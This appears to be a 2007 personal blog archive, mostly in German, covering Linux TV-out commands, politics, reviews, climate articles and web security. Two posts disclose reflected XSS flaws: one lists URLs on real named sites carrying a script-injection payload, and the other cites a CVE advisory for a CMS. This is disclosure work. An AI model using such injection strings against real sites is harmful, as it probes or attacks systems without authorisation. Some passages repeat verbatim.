Monday, August 13. 2007
TV-Out for radeon r200/r300 cards

Now, shortly after that Alex Deucher started implementing tv-out in the randr-1.2-branch of the ati driver based on that code. randr-1.2 is the new and shiny stuff that will make future versions of xorg manage resolutions and output connectors much better. As you can see on the picture, today I played around with the new code and got it working (get Gentoo git-ebuild here).
As a short howto, on some cards (including mine), autodetection of the connector status doesn't work yet. You'll have to manually force the connector:
xrandr --addmode S-video 800x600This is especially exciting as it is the last features of my laptop that was missing for »full linux-compatibility« (some minor issues left, as the cardreader only reads sd at the moment, the modem needs a binary driver).
xrandr --output S-video --mode 800x600
Friday, August 10. 2007
Grüne Partei in Mexiko
Die Ereignisse im mexikanischen Oaxaca erlangten in den letzten Tage wieder eine gewisse Medienaufmerksamkeit. Etwas irritiert las ich dort immer wieder, dass die regierende PRI dort ein Bündnis mit den »Grünen« einging. Die dortige grüne Partei ist eine sehr skurrile Erscheinung und durchaus etwas näherer Betrachtung würdig.
Während man es sonst eher gewohnt ist, dass andernorts grüne Parteien noch deutlich näher an ökologisch-sozialen Wurzeln hängen als ihre regierungserprobten, neoliberalen Namenspartner in Deutschland oder Frankreich, stellt die mexikanische PVEM das krasse Gegenteil dar. Greenpeace sah sich genötigt, sich von dieser Partei zu distanzieren. Kontrolliert wird dieses Parteienkonstrukt von einer Unternehmerfamilie, Forderungen gehen bis hin zu der nach Einführung der Todesstrafe. Die Anhängerschaft konstituiert sich wohl aus einer gutbürgerlichen Schicht von Besserverdienenden, die gerne mehr Grünanlagen in ihren Wohnvierteln hätten. Bündnisse mit der regierenden PRI und deren Angriffe auf soziale Bewegungen wie in Oaxaca gehören zum Programm.
Trotz dieser seltsamen Konstellation wird die Partei auf diversen Linklisten grüner Parteien gelistet (etwa greens.org).
Mexiko-Lexion über die PVEM
Böll-Stiftung über PVEM
Während man es sonst eher gewohnt ist, dass andernorts grüne Parteien noch deutlich näher an ökologisch-sozialen Wurzeln hängen als ihre regierungserprobten, neoliberalen Namenspartner in Deutschland oder Frankreich, stellt die mexikanische PVEM das krasse Gegenteil dar. Greenpeace sah sich genötigt, sich von dieser Partei zu distanzieren. Kontrolliert wird dieses Parteienkonstrukt von einer Unternehmerfamilie, Forderungen gehen bis hin zu der nach Einführung der Todesstrafe. Die Anhängerschaft konstituiert sich wohl aus einer gutbürgerlichen Schicht von Besserverdienenden, die gerne mehr Grünanlagen in ihren Wohnvierteln hätten. Bündnisse mit der regierenden PRI und deren Angriffe auf soziale Bewegungen wie in Oaxaca gehören zum Programm.
Trotz dieser seltsamen Konstellation wird die Partei auf diversen Linklisten grüner Parteien gelistet (etwa greens.org).
Mexiko-Lexion über die PVEM
Böll-Stiftung über PVEM
Wednesday, August 8. 2007
Illegal Art Ergänzungen
Ich hab vor kurzem auf dem Wendlandcamp den Illegal Art-Vortrag vom JUKSS wiederholt. Neben dem alte Blog-Posting mit umfangreicher Linkliste gibt's hier noch ein paar Nachträge, die ich damals noch nicht mit drin hatte:
Banksy - Graffitikünstler und Museumsobfuscator
Negativland
Gimme the Mermaid (Arielle-Video von Negativland)
Alec Empire vs. Elvis Presley Musikvideo
A Fair(y) Use Tale
Banksy - Graffitikünstler und Museumsobfuscator
Negativland
Gimme the Mermaid (Arielle-Video von Negativland)
Alec Empire vs. Elvis Presley Musikvideo
A Fair(y) Use Tale
Posted by Hanno Böck
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19:48
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Saturday, August 4. 2007
Testbericht Ökobrausen: Maltonade vs. Bionade

Die Idee: Weniger Zucker, keine Süßstoffe (die sowieso eine einzige Beleidigung von Geschmacksnerven darstellen) und Inhalte aus biologischem Anbau. Anzumerken bleibt, dass ich mir eine komplett zuckerfreie Variante ohne Substitutionsstoffe wünschen würde.
Wie kürzlich zu lesen war, bekommt die Bionade Konkurrenz aus dem Billigsektor und wehrt sich mit Patent- und Markenklagen. Da Opfer selbiger im allgemeinen meine Sympatie verdienen, Grund genug dem Konkurrenzprodukt Maltonade einen kleinen Test zu widmen.
Maltonade wird bei Plus verkauft. EU-Biosiegel ist ebenso vorhanden, insofern ist davon auszugehen, dass die Inhaltsstoffe qualitativ in Ordnung sind. Vom Design macht die Maltonade deutlich weniger her, eben ein typisches Discounter-Produkt.
Geschmacklich gibt's selbige in drei Richtungen, welche sich vom Original unterscheiden (Orange-Kiwi, Mango-Chilli, Kräuter). Mein Testurteil: Fällt glatt durch.
Erstens ist sie zu süß und hat somit das Haupt-Feature der Bionade (Geschmack ohne Übersüßung) nicht. Zweitens erscheinen die Fruchtkompositionen eher willkürlich und geben dem ganzen den typischen "Billiglimo"-Geschmack und lässt auch deutlich eher Assoziationen zu Chemikalien als zu einem delikaten Getränk aufkommen.
Fazit: Bionade-Klones gerne, aber dieser hier fällt durch.
Friday, August 3. 2007
Rezension »Dead Men Working«
Das rezensierte Buch ist schon etwas älter (2004), da ich es jedoch vor kurzem gelesen habe mit dem Gefühl, dass selbiges bislang viel zu wenig Aufmerksamkeit erhielt, gibt's eine kleine Rezension.
Kurz zum Kontext, in dem das Buch entstand: Die dahinter stehende Gruppe Krisis, welche sich aus verschiedenen marxistischen Strömungen der Linken speist, veröffentlichte 1998 das Manifest gegen die Arbeit, parallel dazu der damals noch bei Krisis aktive Robert Kurz das Schwarbuch Kapitalismus (umfangreicher Wikipedia-Artikel mit Download-Link). In dieser provokanten Schrift wird ausgesprochen, was jeder wissen könnte, aber niemand zu denken wagt: Das System der Lohnarbeit ist am Ende, stößt immer massiver an seine natürlichen Grenzen und kein Wirtschaftswachstum der Welt kann die Produktivkraftentwicklung, die durch die mikroelektronische Revolution ausgelöst wurde, wieder ausgleichen. Es ist ein simpler und doch so gerne ignorierter Fakt, dass Arbeit in zunehmendem Maße schlicht überflüssig wird.
»Dead Men Working« ist nun ein etwas aktuellerer Blick auf's Geschehen. Abwechselnd stehen Berichten aus dem Alltag der Beschäftigungstherapieanstalten für Arbeitslose (in Österreich, aber das tut wenig zur Sache, die Grundzüge dürften in allen Industriestaaten die selben sein) neben inhaltlich-theoretischen Texten, die ein breites Themenspektrum abdecken.
Neben der entspannten Tatsache für mich, einfach mal wieder gut auf den Punkt gebracht zu lesen, was sowieso meine Meinung ist, fand ich auch einige Aspekte, die mir weiterer Beachtung Wert scheinen. So wird umfangreich auf die zunehmende Annäherung von wirtschaftlichen Heilslehren an die Esoterik eingegangen. Angebote von dubiosen Strukturfirmen gehören inzwischen wohl in den Arbeitsagenturen zum Alltag, ebenso wie auf fragwürdigen und kaum wissenschaftlich haltbaren Ideologien basierende Motivationsseminare. Selbst in den Sektenberatungsstellen der Großkirchen wird dieser Thematik inzwischen größerer Raum eingeräumt.
Einen Gesamtüberblick über den Inhalt zu geben fällt schwer, da es sich vor allem um eine Textsammlung verschiedenster Blickrichtungen auf das selbe Oberthema handelt. Ein lesenswertes Buch ist es allemal.
Kurz zum Kontext, in dem das Buch entstand: Die dahinter stehende Gruppe Krisis, welche sich aus verschiedenen marxistischen Strömungen der Linken speist, veröffentlichte 1998 das Manifest gegen die Arbeit, parallel dazu der damals noch bei Krisis aktive Robert Kurz das Schwarbuch Kapitalismus (umfangreicher Wikipedia-Artikel mit Download-Link). In dieser provokanten Schrift wird ausgesprochen, was jeder wissen könnte, aber niemand zu denken wagt: Das System der Lohnarbeit ist am Ende, stößt immer massiver an seine natürlichen Grenzen und kein Wirtschaftswachstum der Welt kann die Produktivkraftentwicklung, die durch die mikroelektronische Revolution ausgelöst wurde, wieder ausgleichen. Es ist ein simpler und doch so gerne ignorierter Fakt, dass Arbeit in zunehmendem Maße schlicht überflüssig wird.
»Dead Men Working« ist nun ein etwas aktuellerer Blick auf's Geschehen. Abwechselnd stehen Berichten aus dem Alltag der Beschäftigungstherapieanstalten für Arbeitslose (in Österreich, aber das tut wenig zur Sache, die Grundzüge dürften in allen Industriestaaten die selben sein) neben inhaltlich-theoretischen Texten, die ein breites Themenspektrum abdecken.
Neben der entspannten Tatsache für mich, einfach mal wieder gut auf den Punkt gebracht zu lesen, was sowieso meine Meinung ist, fand ich auch einige Aspekte, die mir weiterer Beachtung Wert scheinen. So wird umfangreich auf die zunehmende Annäherung von wirtschaftlichen Heilslehren an die Esoterik eingegangen. Angebote von dubiosen Strukturfirmen gehören inzwischen wohl in den Arbeitsagenturen zum Alltag, ebenso wie auf fragwürdigen und kaum wissenschaftlich haltbaren Ideologien basierende Motivationsseminare. Selbst in den Sektenberatungsstellen der Großkirchen wird dieser Thematik inzwischen größerer Raum eingeräumt.
Einen Gesamtüberblick über den Inhalt zu geben fällt schwer, da es sich vor allem um eine Textsammlung verschiedenster Blickrichtungen auf das selbe Oberthema handelt. Ein lesenswertes Buch ist es allemal.
Monday, July 30. 2007
Wendlandcamp

Saturday, July 28. 2007
Neues beim W3C-Validator
Zum guten Stil professionellen Webdesigns gehört inzwischen, valides (d. h. fehlerfreies) HTML einzusetzen. Testwerkzeug hierfür ist der Validator des W3C, dem Gremium, welches für die Standardisierung von HTML und Co. verantwortlich ist. Für einige Anforderungen, etwa Barrierefreiheit, ist valider Code sogar Voraussetzung (auch wenn viele Anbieter behaupten, barrierefreie Seiten zu erstellen, und dieses Grundkriterium nicht erfüllen).
Der Validator kommt seit kurzem in zeitgemäßerem Design und einigen neuen Features. Einige zusätzliche Fehlermeldungen und Warnungen erfordern nun noch mehr Sorgfalt vom Webdesigner.
Als erstes wurde mir mitgeteilt, dass meine XHTML-Seiten doch bitte mit dem MIME-Type xml ausgeliefert werden sollten, was ich ja gerne schon seit Jahren tun würde. Leider ist da wohl noch Stand der Dinge, dass ein Browser eines gewissen großen Herstellers, der unverständlicherweise immer noch sehr verbreitet ist, selbst in der neuesten Version 7 (die immerhin mal die gröbsten HTML/CSS-Bugs ausgemerzt hat), XHTML-Dokumente immer noch nicht mit XML-Mimetype akzeptiert.
Als kleiner Tipp, den ich immer wieder nützlich finde: Für XHTML-Seiten und andere XML-basierte Dokumente (etwa RSS und Atom-Feeds), kann mit
auf einfache Weise die Korrektheit des Codes überprüft werden. Ein Cron-Job ist hier sicher eine gute Idee.
Der Validator kommt seit kurzem in zeitgemäßerem Design und einigen neuen Features. Einige zusätzliche Fehlermeldungen und Warnungen erfordern nun noch mehr Sorgfalt vom Webdesigner.
Als erstes wurde mir mitgeteilt, dass meine XHTML-Seiten doch bitte mit dem MIME-Type xml ausgeliefert werden sollten, was ich ja gerne schon seit Jahren tun würde. Leider ist da wohl noch Stand der Dinge, dass ein Browser eines gewissen großen Herstellers, der unverständlicherweise immer noch sehr verbreitet ist, selbst in der neuesten Version 7 (die immerhin mal die gröbsten HTML/CSS-Bugs ausgemerzt hat), XHTML-Dokumente immer noch nicht mit XML-Mimetype akzeptiert.
Als kleiner Tipp, den ich immer wieder nützlich finde: Für XHTML-Seiten und andere XML-basierte Dokumente (etwa RSS und Atom-Feeds), kann mit
lynx --source http://someurl/ | xmllint --noout -
auf einfache Weise die Korrektheit des Codes überprüft werden. Ein Cron-Job ist hier sicher eine gute Idee.
Thursday, July 19. 2007
Artikel über Klimaschutz für's Grüne Blatt und die Contraste
Ab und an beteilige ich mich an einem kleinen Zeitschriftenprojekt, dem Grünen Blatt. Für die aktuelle Ausgabe (von der ich nicht weiss, ob sie schon in Druckform vorliegt, müsste aber demnächst der Fall sein) schrieb ich zwei Artikel, einen über den Neubau von Kohlekraftwerken und einen über's Kyoto-Protokoll. Letzterer erschien auch in der Contraste - Monatszeitung für Selbstorganisation mit dem Schwerpunkt Bahn und Verkehr.
Wie üblich - Copyright ist Aberglaube - darf natürlich kopiert und weiterverwertet werden - Quellenangabe und Namensnennung obligatorisch, Belegexemplar wäre nett.
Wie üblich - Copyright ist Aberglaube - darf natürlich kopiert und weiterverwertet werden - Quellenangabe und Namensnennung obligatorisch, Belegexemplar wäre nett.
Posted by Hanno Böck
in Ecology, Politics
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23:17
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Defined tags for this entry: contraste, grünesblatt, klima, klimaschutz, kohle, kohlekraft, kyoto, kyotoprotokoll, umwelt
Monday, July 16. 2007
Und wieder einmal Webmontag

(URL und Projektname gibt's erstmal nicht, weil das bislang nur teilweise gefixt wurde)
Desweiteren soll es jetzt ein neues, aktiveres Stadtblog für Karlsruhe geben. Vielleicht schreib ich bei Gelegenheit auch mal das ein oder andere.
Ansonsten gab es einige Ideen in Richtung Barcamp auf Wasser (Bodensee oder Rhein). Hört sich erstmal ziemlich cool an, bin gespannt was daraus wird.
Links: Webmontag Karlsruhe
Posted by Hanno Böck
in Computer culture, Security, Webdesign
at
22:26
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IRQL_NOT_LESS_OR_EQUAL

Sunday, July 15. 2007
Verlag »Zerschlagt das bürgerliche Copyright«

Nebst verschiedenen Erscheinungen in der Popkultur (die bekanntesten wohl Negativland und KLF) und den Copyleft-artigen Vorworten der Situationistischen Internationale stößt man auch irgendwann auf die Kultur von Raubdrucken der 68er-Bewegung. Dazu fand ich bislang jedoch recht wenig Informationen, ein bißchen was steht in der Wikipedia, verlinkt ist dort dieses Interview.
Wie man auf dem Bild sehen kann, hab ich inzwischen zwei Exemplare des Verlages mit dem schönen Namen »Zerschlagt das bürgerliche Copyright« erstanden. Was mich interessieren würde: Gibt es aus dieser Zeit inhaltliche Texte? Ist mit der Einschränkung »bürgerlich« irgendein diffuses Konzept eines »besseren« (»kommunistischen«) Copyrights verbunden?
Für Hinweise und weitere Fundstücke wäre ich dankbar.
Friday, July 13. 2007
More XSS
I thought I'd give you some more (all have been informed months ago):
http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain
http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain
Thursday, July 12. 2007
XSS on helma/gobi
I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.
This time we have gobi, a cms system based on the quite popular javascript application server helma.
http://int21.de/cve/CVE-2007-3693-gobi.txt
More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.
This time we have gobi, a cms system based on the quite popular javascript application server helma.
http://int21.de/cve/CVE-2007-3693-gobi.txt
More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.
Sunday, July 8. 2007
Nintendo 64

Friday, July 6. 2007
tagesschau über Hacktools
Der Bundesrat hat heute das obskure Verbot von »Hacktools« abgesegnet. Wohl ohne großen Widerstand, wiewohl praktisch jeder, der sich auch nur ansatzweise damit auskennt, das ganze für völlig absurd halten muss. In seltener Einigkeit warnen vom CCC über die GI bis zur Bitkom alle vor dem Gesetzeswerk.
Aber weswegen ich das hier schreibe: Die tagesschau erklärt das ganze sehr brauchbar, was ich dachte, dass ich doch mal lobend erwähnen kann. Vielleicht ein kleiner Beitrag, dass auch nicht-Techies derartiges besser verstehen.
Aber weswegen ich das hier schreibe: Die tagesschau erklärt das ganze sehr brauchbar, was ich dachte, dass ich doch mal lobend erwähnen kann. Vielleicht ein kleiner Beitrag, dass auch nicht-Techies derartiges besser verstehen.
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